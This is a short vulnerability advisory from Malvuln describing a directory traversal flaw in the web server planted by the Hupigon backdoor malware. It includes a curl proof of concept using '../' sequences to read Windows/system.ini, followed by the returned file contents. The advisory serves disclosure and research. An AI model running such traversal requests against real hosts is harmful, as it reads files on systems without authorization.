Backdoor.Win32.Hupigon.aejq Traversal

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/2a366cea300b84b4e6f8204a8c229266_C.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hupigon.aejq  
Vulnerability: Directory Traversal  
Description: The malware deploys a Web server listening on TCP port 80. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the web root dir.  
Type: PE32  
MD5: 2a366cea300b84b4e6f8204a8c229266  
Vuln ID: MVID-2021-0331  
Disclosure: 08/30/2021  
  
Exploit/PoC:  
Read any file on the system)  
  
curl http://x.x.x.x/../../../../Windows/system.ini  
; for 16-bit app support  
[386Enh]  
woafont=dosapp.fon  
EGA80WOA.FON=EGA80WOA.FON  
EGA40WOA.FON=EGA40WOA.FON  
CGA80WOA.FON=CGA80WOA.FON  
CGA40WOA.FON=CGA40WOA.FON  
  
[drivers]  
wave=mmdrv.dll  
timer=timer.drv  
  
[mci]  
  
  
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`